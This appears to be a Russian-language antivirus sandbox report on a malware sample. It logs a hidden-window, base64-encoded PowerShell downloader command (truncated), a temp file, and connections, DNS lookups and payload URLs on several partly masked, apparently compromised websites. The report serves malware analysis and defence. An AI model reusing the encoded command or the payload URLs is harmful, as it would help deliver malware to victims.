Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGgAZwBpAGIAYwBxAD0AKAAnAEgAJwArACgAJwA4ADYAYQBjADQAJwArACcAYQAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdABlAE0AUABcAHcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1564
- %TEMP%\1375148.cvr
- 'to####nungkidul.com':80
- 've###ista.com':80
- 'wa####ounseling.com':80
- 'wa####ounseling.com':443
- 'th#####tivecafe.co.uk':80
- 'us###tos.com':80
- 'ta##tlak.hu':80
- 'wo###enholme.ca':80
- http://to####nungkidul.com/js/63/
- http://www.to####nungkidul.com/js/63/
- http://ve###ista.com/stats/s/
- http://wa####ounseling.com/wp-includes/BsDZ7QS/
- http://th#####tivecafe.co.uk/gallery/Y/
- http://us###tos.com/chai/ikb/
- http://ta##tlak.hu/wp-admin/AkMHk/
- http://www.ta##tlak.hu/wp-admin/AkMHk/
- http://wo###enholme.ca/teashop/0B6GAKL/
- 'wa####ounseling.com':443
- DNS ASK to####nungkidul.com
- DNS ASK ve###ista.com
- DNS ASK wa####ounseling.com
- DNS ASK th#####tivecafe.co.uk
- DNS ASK us###tos.com
- DNS ASK ta##tlak.hu
- DNS ASK wo###enholme.ca
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABUAGgAZwBpAGIAYwBxAD0AKAAnAEgAJwArACgAJwA4ADYAYQBjADQAJwArACcAYQAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAdABlAE0AUABcAHcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...' (со скрытым окном)